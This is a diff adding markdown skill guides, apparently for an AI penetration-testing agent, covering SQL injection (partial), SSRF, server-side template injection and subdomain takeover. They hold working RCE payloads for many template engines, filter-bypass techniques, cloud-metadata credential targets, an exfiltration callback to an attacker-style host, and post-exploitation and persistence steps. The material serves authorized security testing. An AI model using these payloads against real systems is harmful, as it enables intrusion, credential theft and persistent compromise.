+### ORM and Query Builders
+
+- Dangerous APIs: `whereRaw`/`orderByRaw`, string interpolation into LIKE/IN/ORDER clauses
+- Injections via identifier quoting (table/column names) when user input is interpolated into identifiers
+- JSON containment operators exposed by ORMs (e.g., `@>` in PostgreSQL) with raw fragments
+- Parameter mismatch: partial parameterization where operators or lists remain unbound (`IN (...)`)
+
+### Uncommon Contexts
+
+- ORDER BY/GROUP BY/HAVING with `CASE WHEN` for boolean channels
+- LIMIT/OFFSET: inject into OFFSET to produce measurable timing or page shape
+- Full-text/search helpers: `MATCH AGAINST`, `to_tsvector`/`to_tsquery` with payload mixing
+- XML/JSON functions: error generation via malformed documents/paths
+
+## Bypass Techniques
+
+**Whitespace/Spacing**
+- `/**/`, `/**/!00000`, comments, newlines, tabs
+- `0xe3 0x80 0x80` (ideographic space)
+
+**Keyword Splitting**
+- `UN/**/ION`, `U%4eION`, backticks/quotes, case folding
+
+**Numeric Tricks**
+- Scientific notation, signed/unsigned, hex (`0x61646d696e`)
+
+**Encodings**
+- Double URL encoding, mixed Unicode normalizations (NFKC/NFD)
+- `char()`/`CONCAT_ws` to build tokens
+
+**Clause Relocation**
+- Subselects, derived tables, CTEs (`WITH`), lateral joins to hide payload shape
+
+## Testing Methodology
+
+1. **Identify query shape** - SELECT/INSERT/UPDATE/DELETE, presence of WHERE/ORDER/GROUP/LIMIT/OFFSET
+2. **Determine input influence** - User input in identifiers vs values
+3. **Confirm injection class** - Reflective errors, boolean diffs, timing, or out-of-band callbacks
+4. **Choose quietest oracle** - Prefer error-based or boolean over noisy time-based
+5. **Establish extraction channel** - UNION (if visible), error-based, boolean bit extraction, time-based, or OAST/DNS
+6. **Pivot to metadata** - version, current user, database name
+7. **Target high-value tables** - auth bypass, role changes, filesystem access if feasible
+
+## Validation
+
+1. Show a reliable oracle (error/boolean/time/OAST) and prove control by toggling predicates
+2. Extract verifiable metadata (version, current user, database name) using the established channel
+3. Retrieve or modify a non-trivial target (table rows, role flag) within legal scope
+4. Provide reproducible requests that differ only in the injected fragment
+5. Where applicable, demonstrate defense-in-depth bypass (WAF on, still exploitable via variant)
+
+## False Positives
+
+- Generic errors unrelated to SQL parsing or constraints
+- Static response sizes due to templating rather than predicate truth
+- Artificial delays from network/CPU unrelated to injected function calls
+- Parameterized queries with no string concatenation, verified by code review
+
+## Impact
+
+- Direct data exfiltration and privacy/regulatory exposure
+- Authentication and authorization bypass via manipulated predicates
+- Server-side file access or command execution (platform/privilege dependent)
+- Persistent supply-chain impact via modified data, jobs, or procedures
+
+## Pro Tips
+
+1. Pick the quietest reliable oracle first; avoid noisy long sleeps
+2. Normalize responses (length/ETag/digest) to reduce variance when diffing
+3. Aim for metadata then jump directly to business-critical tables; minimize lateral noise
+4. When UNION fails, switch to error- or blind-based bit extraction; prefer OAST when available
+5. Treat ORMs as thin wrappers: raw fragments often slip through; audit `whereRaw`/`orderByRaw`
+6. Use CTEs/derived tables to smuggle expressions when filters block SELECT directly
+7. Exploit JSON/JSONB operators in Postgres and JSON functions in MySQL for side channels
+8. Keep payloads portable; maintain DBMS-specific dictionaries for functions and types
+9. Validate mitigations with negative tests and code review; parameterize operators/lists correctly
+10. Document exact query shapes; defenses must match how the query is constructed, not assumptions
+
+## Summary
+
+Modern SQLi succeeds where authorization and query construction drift from assumptions. Bind parameters everywhere, avoid dynamic identifiers, and validate at the exact boundary where user input meets SQL.

strix/skills/vulnerabilities/ssrf.md

@@ -0,0 +1,186 @@
+---
+name: ssrf
+description: SSRF testing for cloud metadata access, internal service discovery, and protocol smuggling
+---
+
+# SSRF
+
+Server-Side Request Forgery enables the server to reach networks and services the attacker cannot. Focus on cloud metadata endpoints, service meshes, Kubernetes, and protocol abuse to turn a single fetch into credentials, lateral movement, and sometimes RCE.
+
+## Attack Surface
+
+**Scope**
+- Outbound HTTP/HTTPS fetchers (proxies, previewers, importers, webhook testers)
+- Non-HTTP protocols via URL handlers (gopher, dict, file, ftp, smb wrappers)
+- Service-to-service hops through gateways and sidecars (envoy/nginx)
+- Cloud and platform metadata endpoints, instance services, and control planes
+
+**Direct URL Params**
+- `url=`, `link=`, `fetch=`, `src=`, `webhook=`, `avatar=`, `image=`
+
+**Indirect Sources**
+- Open Graph/link previews, PDF/image renderers
+- Server-side analytics (Referer trackers), import/export jobs
+- Webhooks/callback verifiers
+
+**Protocol-Translating Services**
+- PDF via wkhtmltopdf/Chrome headless, image pipelines
+- Document parsers, SSO validators, archive expanders
+
+**Less Obvious**
+- GraphQL resolvers that fetch by URL
+- Background crawlers, repository/package managers (git, npm, pip)
+- Calendar (ICS) fetchers
+
+## High-Value Targets
+
+### AWS
+
+- IMDSv1: `http://169.254.169.254/latest/meta-data/` → `/iam/security-credentials/{role}`, `/user-data`
+- IMDSv2: requires token via PUT `/latest/api/token` with header `X-aws-ec2-metadata-token-ttl-seconds`, then include `X-aws-ec2-metadata-token` on subsequent GETs
+- If sink cannot set headers or methods, seek intermediaries that can
+- ECS/EKS task credentials: `http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`
+
+### GCP
+
+- Endpoint: `http://metadata.google.internal/computeMetadata/v1/`
+- Required header: `Metadata-Flavor: Google`
+- Target: `/instance/service-accounts/default/token`
+
+### Azure
+
+- Endpoint: `http://169.254.169.254/metadata/instance?api-version=2021-02-01`
+- Required header: `Metadata: true`
+- MSI OAuth: `/metadata/identity/oauth2/token`
+
+### Kubernetes
+
+- Kubelet: 10250 (authenticated) and 10255 (deprecated read-only)
+- Probe `/pods`, `/metrics`, exec/attach endpoints
+- API server: `https://kubernetes.default.svc/`
+- Authorization often needs service account token; SSRF that propagates headers/cookies may reuse them
+- Service discovery: attempt cluster DNS names (`svc.cluster.local`) and default services (kube-dns, metrics-server)
+
+### Internal Services
+
+- Docker API: `http://localhost:2375/v1.24/containers/json` (no TLS variants often internal-only)
+- Redis/Memcached: `dict://localhost:11211/stat`, gopher payloads to Redis on 6379
+- Elasticsearch/OpenSearch: `http://localhost:9200/_cat/indices`
+- Message brokers/admin UIs: RabbitMQ, Kafka REST, Celery/Flower, Jenkins crumb APIs
+- FastCGI/PHP-FPM: `gopher://localhost:9000/` (craft records for file write/exec when app routes to FPM)
+
+## Key Vulnerabilities
+
+### Protocol Exploitation
+
+**Gopher**
+- Speak raw text protocols (Redis/SMTP/IMAP/HTTP/FCGI)
+- Use to craft multi-line payloads, schedule cron via Redis, or build FastCGI requests
+
+**File and Wrappers**
+- `file:///etc/passwd`, `file:///proc/self/environ` when libraries allow file handlers
+- `jar:`, `netdoc:`, `smb://` and language-specific wrappers (`php://`, `expect://`) where enabled
+
+### Address Variants
+
+- Loopback: `127.0.0.1`, `127.1`, `2130706433`, `0x7f000001`, `::1`, `[::ffff:127.0.0.1]`
+- RFC1918/link-local: 10/8, 172.16/12, 192.168/16, 169.254/16
+- Test IPv6-mapped and mixed-notation forms
+
+### URL Confusion
+
+- Userinfo and fragments: `http://internal@attacker/` or `http://attacker#@internal/`
+- Scheme-less/relative forms the server might complete internally: `//169.254.169.254/`
+- Trailing dots and mixed case: `internal.` vs `INTERNAL`, Unicode dot lookalikes
+
+### Redirect Abuse
+
+- Allowlist only applied pre-redirect: 302 from attacker → internal host
+- Test multi-hop and protocol switches (http→file/gopher via custom clients)
+
+### Header and Method Control
+
+- Some sinks reflect or allow CRLF-injection into the request line/headers
+- If arbitrary headers/methods are possible, IMDSv2, GCP, and Azure become reachable
+
+## Bypass Techniques
+
+**Address Encoding**
+- Decimal, hex, octal representations of IP addresses
+- IPv6 variants, IPv4-mapped IPv6, mixed notation
+
+**DNS Rebinding**
+- First resolution returns allowed IP, second returns internal target
+- Use short TTL DNS records under attacker control
+
+**URL Parser Differentials**
+- Different parsing between allowlist checker and actual fetcher
+- Exploit inconsistencies in scheme, host, port, path handling
+
+**Redirect Chains**
+- Initial URL passes allowlist, redirect targets internal host
+- Protocol downgrade/upgrade through redirects
+
+## Blind SSRF
+
+- Use OAST (DNS/HTTP) to confirm egress. `interactsh-client -v` (running
+  in the sandbox) gives you a unique `*.oast.fun` domain; embed it in
+  the URL parameter and watch the interactsh stdout for the inbound
+  DNS/HTTP hit. Each invocation yields a fresh domain — restart between
+  payloads if you need to correlate hits to a specific request.
+- Derive internal reachability from timing, response size, TLS errors, and ETag differences
+- Build a port map by binary searching timeouts (short connect/read timeouts yield cleaner diffs)
+
+## Chaining Attacks
+
+- SSRF → Metadata creds → cloud API access (list buckets, read secrets)
+- SSRF → Redis/FCGI/Docker → file write/command execution → shell
+- SSRF → Kubelet/API → pod list/logs → token/secret discovery → lateral movement
+
+## Testing Methodology
+
+1. **Identify surfaces** - Every user-influenced URL/host/path across web/mobile/API and background jobs
+2. **Establish oracle** - Quiet OAST DNS/HTTP callbacks first
+3. **Internal addressing** - Pivot to loopback, RFC1918, link-local, IPv6, hostnames
+4. **Protocol variations** - Test gopher, file, dict where supported
+5. **Parser differentials** - Test across frameworks, CDNs, and language libraries
+6. **Redirect behavior** - Single-hop, multi-hop, protocol switches
+7. **Header/method control** - Can you influence request headers or HTTP method?
+8. **High-value targets** - Metadata, kubelet, Redis, FastCGI, Docker, Vault, internal admin panels
+
+## Validation
+
+1. Prove an outbound server-initiated request occurred (OAST interaction or internal-only response differences)
+2. Show access to non-public resources (metadata, internal admin, service ports) from the vulnerable service
+3. Where possible, demonstrate minimal-impact credential access (short-lived token) or a harmless internal data read
+4. Confirm reproducibility and document request parameters that control scheme/host/headers/method and redirect behavior
+
+## False Positives
+
+- Client-side fetches only (no server request)
+- Strict allowlists with DNS pinning and no redirect following
+- SSRF simulators/mocks returning canned responses without real egress
+- Blocked egress confirmed by uniform errors across all targets and protocols
+- OAST callbacks where the source IP matches the tester's machine, not the server — the browser or a client-side fetch made the request, not the backend
+
+## Impact
+
+- Cloud credential disclosure with subsequent control-plane/API access
+- Access to internal control panels and data stores not exposed publicly
+- Lateral movement into Kubernetes, service meshes, and CI/CD
+- RCE via protocol abuse (FCGI, Redis), Docker daemon access, or scriptable admin interfaces
+
+## Pro Tips
+
+1. Prefer OAST callbacks first; then iterate on internal addressing and protocols
+2. Test IPv6 and mixed-notation addresses; filters often ignore them
+3. Observe library/client differences (curl, Java HttpClient, Node, Go); behavior changes across services and jobs
+4. Redirects are leverage: control both the initial allowlisted host and the next hop
+5. Metadata endpoints require headers/methods; verify if your sink can set them or if intermediaries add them
+6. Use tiny payloads and tight timeouts to map ports with minimal noise
+7. When responses are masked, diff length/ETag/status and TLS error classes to infer reachability
+8. Chain quickly to durable impact (short-lived tokens, harmless internal reads) and stop there
+
+## Summary
+
+Any feature that fetches remote content on behalf of a user is a potential tunnel to internal networks and control planes. Bind scheme/host/port/headers explicitly or expect an attacker to route through them.

strix/skills/vulnerabilities/ssti.md

@@ -0,0 +1,270 @@
+---
+name: ssti
+description: Server-side template injection across Jinja / Mako / Velocity / Freemarker / Thymeleaf / Twig / Handlebars / EJS / ERB with engine fingerprinting, sandbox escape, and RCE gadget chains
+---
+
+# Server-Side Template Injection
+
+SSTI happens when user input reaches a template engine as syntax instead of as data — `{{user_input}}` rendered through Jinja, `${user_input}` through Velocity / SpEL, `<%= user_input %>` through ERB / EJS. The eventual impact is almost always RCE because template engines are designed to evaluate expressions and most leak access to the host language's runtime (Python builtins, Java reflection, JavaScript prototypes). The discovery cost is low — a `{{7*7}}` probe — but the gadget chain to RCE differs sharply per engine, so engine fingerprinting is the load-bearing step.
+
+## Attack Surface
+
+**Input shapes that reach the renderer**
+- Form fields, query / path / header values, cookies, JSON / GraphQL variables
+- Filenames and file metadata processed by document / report templates
+- Email subject / body / template-selector fields
+- Theme / customization endpoints (CSS / HTML generation, dashboard widgets, webhook payload templates)
+- Markdown / WYSIWYG content rendered through a templating layer downstream
+
+**Code patterns that enable injection**
+- User input concatenated into a template string before `render(template_str)` instead of passed as a context variable to `render(template_obj, context)`
+- "Template editor" features for tenants / admins where the *template itself* is user-controllable
+- `format()` / `sprintf()` / printf-style chains with user-controlled format string downstream of a template
+- YAML / TOML / JSON values whose strings are later evaluated through a template
+
+**Engines in scope**
+- Python: Jinja2, Mako, Django (limited)
+- Java: Velocity, Freemarker, Thymeleaf (with SpEL), JSP EL
+- JS / Node: Handlebars, Nunjucks, EJS, Pug, Marko, Dust
+- Ruby: ERB, Haml, Slim
+- PHP: Twig, Smarty, Blade
+- .NET: Razor, RazorEngine
+
+## High-Value Targets
+
+- Email rendering pipelines (subject / body / "from" templates)
+- PDF / report generators (server-side render → headless browser)
+- CMS theme and plugin editors
+- Webhook and notification payload templates
+- API response formatters that interpolate strings (pagination labels, error messages, custom field renders)
+- Admin / tenant template editors — explicit "edit your template" features
+
+## Reconnaissance
+
+### Injection Points
+
+- Submit a benign string and grep responses (HTML, JSON, emails, PDFs) for verbatim reflection
+- Anywhere user input ends up in a value that's clearly being templated (preview panes, "your message will look like…" panels) is high-signal
+- Check error pages — many engines leak template syntax in stack traces
+
+### Engine Fingerprinting
+
+The classic differential probe — most engines evaluate exactly one of these, identifying themselves:
+
+| Probe | Renders to | Engine family |
+|---|---|---|
+| `{{7*7}}` | `49` | Jinja2 / Twig / Nunjucks |
+| `{{7*'7'}}` | `7777777` (Jinja) or `49` (Twig) | distinguishes Jinja from Twig |
+| `${7*7}` | `49` | Velocity / Freemarker / SpEL / JSP EL / Thymeleaf |
+| `<%= 7*7 %>` | `49` | ERB / EJS |
+| `#{7*7}` | `49` | Pug / some Ruby contexts |
+| `{{= 7*7 }}` | `49` | doT.js |
+
+For Thymeleaf specifically, the `*{...}` selection-expression form also evaluates but only inside a `th:object` scope; `${...}` is the universal probe.
+
+Secondary signals: error message text (engine name in stack trace), comment-syntax differential (`{# #}` Jinja vs `<%# %>` ERB vs `{* *}` Smarty), filter syntax (`|` vs `:` vs space).
+
+### Blind Probes
+
+When output isn't reflected:
+
+- **Time-based**: payload that triggers a sleep on the host language (`{{''.__class__.__mro__[1].__subclasses__()[<idx>](...)}}` for Jinja, `${T(java.lang.Thread).sleep(5000)}` for SpEL, `<%= sleep(5) %>` for ERB)
+- **OAST**: payload that performs a DNS lookup or HTTP fetch to attacker infrastructure (`{{request.application.__globals__.__builtins__.__import__('socket').gethostbyname('x.attacker.tld')}}`)
+- **Length / ETag diff**: payload whose evaluation changes the body length, even if the value isn't directly visible
+
+## Key Vulnerabilities
+
+### Jinja2 / Mako (Python)
+
+The classic Python class walk — every object exposes its method-resolution-order, which leads to `object`, which exposes every subclass loaded in the interpreter, which includes things like `subprocess.Popen`:
+
+```jinja
+{{''.__class__.__mro__[1].__subclasses__()}}
+```
+
+Locate a useful subclass and call it. Common gadgets when builtins are reachable through globals:
+
+```jinja
+{{cycler.__init__.__globals__.os.popen('id').read()}}
+{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
+{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
+```
+
+Sandbox bypass: even with `SandboxedEnvironment`, attribute-lookup tricks (`|attr('__class__')`) and `request.environ` access can re-introduce reachability. Check whether the app exposes `request`, `config`, `cycler`, or any framework global into the template context.
+
+### Velocity / Freemarker / Thymeleaf (Java)
+
+SpEL (Spring Expression Language) — used by Thymeleaf and various Spring components — reaches `Runtime` via the `T()` type operator. Note that `Runtime.exec()` returns a `java.lang.Process` object whose `toString()` is `"Process[pid=...]"`, **not** the command's stdout. To get reflected output you need to consume the process's `InputStream`:
+
+```spel
+${T(java.lang.Runtime).getRuntime().exec('id')}
+${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('id').getInputStream()).useDelimiter('\\A').next()}
+${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
+```
+
+The first form confirms execution (rendered Process object proves the call ran); the Scanner form is universally available; the `IOUtils` form is shorter when Apache Commons IO is on the classpath. For blind contexts, validate via OAST or sleep.
+
+Freemarker's `freemarker.template.utility.Execute` is the canonical RCE gadget when not denylisted, and unlike `Runtime.exec` it returns the command output as a string directly:
+
+```freemarker
+<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
+```
+
+Velocity gadgets typically don't have `$Runtime` in context — that's not a standard Velocity built-in. The portable approach is string-class reflection from any reachable object:
+
+```velocity
+#set($s = "")
+#set($r = $s.class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null))
+$r.exec("id")
+```
+
+This requires the default `UberspectImpl` (Velocity 1.x and Velocity 2.x without `SecureUberspector`); same `Process.toString()` caveat applies — capture stdout via `Scanner` or `BufferedReader` if reflected output is needed. If the application uses Velocity Tools, `$class` (a `ClassTool`) is often in scope and shortens the chain considerably.
+
+Thymeleaf SSTI requires control over the *template source*, not just over a model variable bound into the template — normal Spring MVC binding renders `${userInput}` as a value, never re-evaluated as SpEL. The exploitable surface is `templateEngine.process(userControlledString, ctx)`, admin-editable email / notification templates, and template fragments composed from user input. When that surface exists, the same SpEL payloads apply:
+
+```html
+<div th:utext="${T(java.lang.Runtime).getRuntime().exec('id')}"></div>
+<div th:utext="${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('id').getInputStream()).useDelimiter('\\A').next()}"></div>
+```
+
+Confusing this with normal model binding produces false positives — confirm the template source itself is attacker-influenced before flagging.
+
+### Smarty / Twig / Blade (PHP)
+
+Twig sandbox bypasses are version-specific. The canonical historical gadget (Twig 1.x) registered `system` as an undefined-filter callback, then invoked it through the filter pipeline:
+
+```twig
+{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}
+```
+
+This was patched — in Twig 2.x / 3.x `_self` returns the template name as a string and no longer exposes `.env`. Modern bypasses depend on which extensions are loaded and the active sandbox policy; consult Twig's published security advisories for the current state and probe with the version-specific gadgets (filter/function abuse, reflection on `_context` in some configs).
+
+Smarty `{php}...{/php}` was the historical RCE primitive; deprecated in Smarty 3 and removed in 4. On modern Smarty, the surface is static-method invocation and template-object reflection — `{$smarty.template_object->smarty->...}` walks back to the Smarty engine, and direct static calls on whitelisted classes (e.g. `{Smarty_Internal_Write_File::writeFile(...)}` on misconfigured installs) reach the filesystem. Probe both before assuming Smarty is hardened.
+
+Blade (Laravel) compiles templates to PHP on first render and caches the compiled output, so the dangerous paths are runtime: `Blade::render($userControlledString, ...)`, `Blade::compileString(...)` with user input, or any reachable `@php ... @endphp` block whose body is composed from user input — all three are direct RCE.
+
+### ERB / Haml (Ruby)
+
+Direct Ruby evaluation — backticks are the shortest path that *reflects* command output:
+
+```erb
+<%= `id` %>
+<%= IO.popen('id').read %>
+<% require 'open3'; out, _ = Open3.capture2('id'); %><%= out %>
+<%= system('id') %>
+```
+
+The first three render the command's stdout into the response. `system('id')` returns `true`/`false` and prints the command output to the *server's* stdout, not the HTTP body — useful for confirming execution succeeded but not for capturing output. Pair with OAST or a side-effect (file write, DNS lookup) when the response doesn't reflect anything.
+
+Haml is the same risk surface in different syntax. `instance_eval` / `class_eval` chained off any reachable object becomes RCE.
+
+### Handlebars / Nunjucks / EJS (JavaScript)
+
+EJS evaluates inline JavaScript:
+
+```ejs
+<%= require('child_process').execSync('id').toString() %>
+```
+
+Nunjucks via constructor walk on reachable objects:
+
+```nunjucks
+{{range.constructor("return require('child_process').execSync('id')")()}}
+```
+
+Handlebars itself is harder (default helpers are restricted), but custom helpers that pass arguments to `eval`, `Function`, or `child_process` re-open the surface. Also probe for prototype pollution as an SSTI amplifier — once `Object.prototype` is polluted, downstream template logic may execute attacker-controlled code paths.
+
+## Bypass Techniques
+
+**Sandbox escape — generic patterns**
+- **Attribute lookup instead of direct access**: `{{x.__class__}}` blocked? try `{{x|attr('__class__')}}`
+- **Class walk to recover deleted builtins**: `{{[].__class__.__base__.__subclasses__()}}` enumerates everything loaded
+- **String constructor games**: `'__import__'.__class__` etc., when literal `__import__` is filtered
+- **Filter / function aliasing**: same callable reachable via different names — find one not on the denylist
+- **Implicit conversion**: object whose `__str__` / `toString` triggers code, coerced via concatenation
+
+**Filter and parser evasion**
+- Whitespace / case variants in keywords: `{{7 *7}}`, `{{ 7*7 }}`, `{{7*7}}`
+- String concatenation to assemble denylisted identifiers: `{{('__cl'+'ass__')}}`, `{{request|attr('__cl'~'ass__')}}` — splits a token without a comment (Jinja's lexer doesn't recognize `{#` inside expression mode, so SQL-style `/**/` token splitting doesn't work here)
+- Encoding layering: payload arrives URL-encoded, JSON-decoded, then template-rendered — pick the encoding that survives the filter but is decoded before render
+- Operator precedence games: `((7)*(7))`, `7**7`, `7+0+7`
+- Null byte truncation: `{{x%00.evil}}` — terminates payload for some pre-template filters but not the template parser
+- Unicode normalization: smart quotes, fullwidth digits — bypasses naive denylists, normalizes back during render
+
+**Polyglot and chained evaluation**
+- Multi-engine pipelines: output of engine A feeds engine B — craft payload valid in both, or escape A and inject for B
+- Markdown / RST embedded in a template — Markdown parser may strip your payload, but a code block survives and reaches the template
+- Format string → template: printf-style format applied before template render; payload that's inert as a format string but live as a template
+
+## RCE Primitives
+
+**Direct command execution by language**
+- Python: `os.system`, `os.popen`, `subprocess.run`, `subprocess.Popen`, `__import__('os').system`
+- Java: `Runtime.getRuntime().exec`, `ProcessBuilder`, `freemarker.template.utility.Execute`
+- Ruby: backticks, `system`, `exec`, `Open3.capture2`, `IO.popen`, `%x{}`
+- JavaScript / Node: `require('child_process').execSync` / `exec` / `spawn`; `require.main.require(...)` when nested module loading is needed (`process.mainModule` is the older form, deprecated since Node 14 but still present in most CJS contexts)
+- PHP: `system`, `passthru`, `exec`, `shell_exec`, backticks, `popen`
+
+**Indirect / second-stage**
+- File write to webroot → trigger via subsequent HTTP request (when shell exec is blocked but file write isn't)
+- Define a function / macro inline that runs on next render
+- Unsafe deserialization gadget invoked through template (Java `ObjectInputStream`, Python `pickle`, PHP `unserialize`)
+- DNS / HTTP exfiltration when shell exec produces no observable output
+
+## Post-Exploitation
+
+- Environment dump (`env`, `os.environ`, `System.getenv`) — credentials, cloud metadata tokens, internal URLs
+- Cloud metadata fetch (`http://169.254.169.254/latest/meta-data/`, `http://metadata.google.internal/`) — IAM tokens
+- Read filesystem secrets (`.env`, `.aws/credentials`, `~/.ssh/`, `/proc/self/environ`)
+- Lateral via internal HTTP — service mesh endpoints reachable from the rendering host
+- Persistence: cron, scheduled task, systemd unit, `~/.ssh/authorized_keys`, web shell in webroot
+
+## Testing Methodology
+
+1. **Find templated input** — anywhere a server clearly templated user input (preview panes, email previews, dynamic dashboards, custom fields)
+2. **Fingerprint the engine** — run the differential probe table; confirm with a second probe
+3. **Confirm evaluation, not reflection** — `{{7*7}}` rendering as `49` (not `{{7*7}}` literally) is the line between XSS and SSTI
+4. **Probe sandbox state** — try `{{self}}`, `{{config}}`, `{{request}}`, `{{cycler}}` (Jinja); `${self}`, `${T(java.lang.Class)}` (Java); `<%= self %>` (Ruby) — reachable globals are the gadget pool
+5. **Enumerate gadgets** — class walk for Python / Node, reflection for Java, `require` chain for Node
+6. **Reach RCE** — pick the shortest gadget chain to a shell-equivalent primitive
+7. **Validate side effects** — DNS callback, file write, sleep — anything observable that proves execution
+
+## Validation
+
+1. Show evaluated output for two distinct expressions (`{{7*7}}` → `49` and `{{7*8}}` → `56`) to rule out coincidence or hard-coded reflection
+2. Demonstrate object access (`{{self.__class__}}`, `${T(java.lang.Class)}`) confirming runtime reflection
+3. Demonstrate side effect — DNS lookup to attacker-controlled domain, sleep with measurable delta, file written to a known path
+4. For RCE: command output captured in response, file written, or OAST callback containing command output
+5. Provide minimal payload — the simplest expression that reaches RCE, not the kitchen-sink polyglot
+
+## False Positives
+
+- Template syntax reflected literally (`{{7*7}}` rendered as `{{7*7}}`) — that's XSS-shaped, not SSTI
+- Sandboxed environments where reflection succeeds but reachable objects expose nothing useful (Jinja `SandboxedEnvironment` with no `request` / `config` in context)
+- Client-side template engines (Vue, Angular, Mustache running in the browser) — that's client-side template injection, different impact (XSS, not RCE)
+- Markdown / static-site generators that template at build time only, with no user input reaching the build
+- Engines where the output is HTML-escaped before display, masking evaluation as XSS-like reflection — verify with a non-HTML probe (`{{7*7}}` numeric)
+
+## Impact
+
+- Remote code execution on the rendering host (the default outcome — almost every engine leaks a path to it)
+- Server-side data exfiltration via gadget chains (filesystem, env vars, internal HTTP)
+- Cloud credential theft via metadata service access from the compromised host
+- Lateral movement into internal services reachable from the renderer
+- Persistent backdoor via web shell or service-account key planting
+- Build / supply-chain compromise when the templated content is a build artifact
+
+## Pro Tips
+
+1. Always confirm with a second math probe (`{{7*8}}`) before celebrating — single-shot reflection of `49` could be coincidental
+2. Engine fingerprint first, gadget chain second — wrong-engine payloads are wasted requests and noise in WAF logs
+3. For Jinja, the highest-yield reachable global varies by framework (`request` in Flask, `config` always present, `cycler` in older Jinja); spray all three before walking subclasses
+4. SpEL is everywhere in Spring stacks — Thymeleaf, Spring Security expression language, Spring Cloud Gateway routes; the same payload shape (`${T(java.lang.Runtime)...}`) works across all of them
+5. EJS / Nunjucks are common in Express / Koa apps — `require('child_process').execSync('id')` if `require` is in scope (EJS), or escape via `range.constructor("return require('child_process')...")()` for Nunjucks; `process.mainModule.require(...)` is the older form, deprecated since Node 14
+6. Sandbox escapes are usually one indirection away — `attr` lookup, constructor traversal, MRO walk; most "sandboxed" environments still reach the runtime if you go through attribute access instead of direct reference
+7. Output not reflected? Time-based and OAST work as well as for SQLi — `${T(java.lang.Thread).sleep(5000)}` for SpEL, `{{cycler.__init__.__globals__.__import__('time').sleep(5)}}` (or the `request.application.__globals__.__builtins__` walk in Flask) for Jinja — bare `__import__` is not in the template namespace and will raise `UndefinedError`
+8. Email previews and PDF generators are gold mines — they're often built on the same engine as the public site but exposed to less-validated input flows
+
+## Summary
+
+SSTI is fundamentally different from XSS at the same syntactic location: the payload runs on the server, in the host language, with whatever objects the engine exposes. Engine fingerprinting via the math-probe table narrows the search space immediately. From there it's a race between the sandbox's denylist and the language's reflection capability — and the language usually wins. Treat any user input that reaches a template renderer (not a templated context variable) as RCE-shaped until proven sandboxed.

strix/skills/vulnerabilities/subdomain_takeover.md

@@ -0,0 +1,158 @@
+---
+name: subdomain-takeover
+description: Subdomain takeover testing for dangling DNS records and unclaimed cloud resources
+---
+
+# Subdomain Takeover
+
+Subdomain takeover lets an attacker serve content from a trusted subdomain by claiming resources referenced by dangling DNS (CNAME/A/ALIAS/NS) or mis-bound provider configurations. Consequences include phishing on a trusted origin, cookie and CORS pivot, OAuth redirect abuse, and CDN cache poisoning.
+
+## Attack Surface
+
+- Dangling CNAME/A/ALIAS to third-party services (hosting, storage, serverless, CDN)
+- Orphaned NS delegations (child zones with abandoned/expired nameservers)
+- Decommissioned SaaS integrations (support, docs, marketing, forms) referenced via CNAME
+- CDN "alternate domain" mappings (CloudFront/Fastly/Azure CDN) lacking ownership verification
+- Storage and static hosting endpoints (S3/Blob/GCS buckets, GitHub/GitLab Pages)
+
+## Reconnaissance
+
+### Enumeration Pipeline
+
+- Subdomain inventory: combine CT (crt.sh APIs), passive DNS sources, in-house asset lists, IaC/terraform outputs
+- Resolver sweep: use IPv4/IPv6-aware resolvers; track NXDOMAIN vs SERVFAIL vs provider-branded 4xx/5xx
+- Record graph: build a CNAME graph and collapse chains to identify external endpoints
+
+### DNS Indicators
+
+- CNAME targets ending in provider domains: `github.io`, `amazonaws.com`, `cloudfront.net`, `azurewebsites.net`, `blob.core.windows.net`, `fastly.net`, `vercel.app`, `netlify.app`, `herokudns.com`, `trafficmanager.net`, `azureedge.net`, `akamaized.net`
+- Orphaned NS: subzone delegated to nameservers on a domain that has expired or no longer hosts authoritative servers
+- MX to third-party mail providers with decommissioned domains
+- TXT/verification artifacts (`asuid`, `_dnsauth`, `_github-pages-challenge`) suggesting previous external bindings
+
+### HTTP Fingerprints
+
+Service-specific unclaimed messages (examples):
+- **GitHub Pages**: "There isn't a GitHub Pages site here."
+- **Fastly**: "Fastly error: unknown domain"
+- **Heroku**: "No such app" or "There's nothing here, yet."
+- **S3 static site**: "NoSuchBucket" / "The specified bucket does not exist"
+- **CloudFront**: 403/400 with "The request could not be satisfied"
+- **Azure App Service**: default 404 for azurewebsites.net unless custom-domain verified
+- **Shopify**: "Sorry, this shop is currently unavailable"
+
+TLS clues: certificate CN/SAN referencing provider default host instead of the custom subdomain
+
+## Key Vulnerabilities
+
+### Claim Third-Party Resource
+
+- Create the resource with the exact required name:
+  - Storage/hosting: S3 bucket "sub.example.com" (website endpoint)
+  - Pages hosting: create repo/site and add the custom domain
+  - Serverless/app hosting: create app/site matching the target hostname
+
+### CDN Alternate Domains
+
+- Add the victim subdomain as an alternate domain on your CDN distribution if the provider does not enforce domain ownership checks
+- Upload a TLS cert or use managed cert issuance
+
+### NS Delegation Takeover
+
+- If a child zone is delegated to nameservers under an expired domain, register that domain and host authoritative NS
+- Publish records to control all hosts under the delegated subzone
+
+### Mail Surface
+
+- If MX points to a decommissioned provider, takeover could enable email receipt for that subdomain
+
+## Advanced Techniques
+
+### Blind and Cache Channels
+
+- CDN edge behavior: 404/421 vs 403 differentials reveal whether an alt name is partially configured
+- Cache poisoning: once taken over, exploit cache keys to persist malicious responses
+
+### CT and TLS
+
+- Use CT logs to detect unexpected certificate issuance for your subdomain
+- For PoC, issue a DV cert post-takeover (within scope) to produce verifiable evidence
+
+### OAuth and Trust Chains
+
+- If the subdomain is whitelisted as an OAuth redirect/callback or in CSP/script-src, takeover elevates to account takeover or script injection
+
+### Verification Gaps
+
+- Look for providers that accept domain binding prior to TXT verification
+- Race windows: re-claim resource names immediately after victim deletion
+
+### Wildcards and Fallbacks
+
+- Wildcard CNAMEs to providers may expose unbounded subdomains
+- Fallback origins: CDNs configured with multiple origins may expose unknown-domain responses
+
+## Special Contexts
+
+### Storage and Static
+
+- S3/GCS/Azure Blob static sites: bucket naming constraints dictate whether a bucket can match hostname
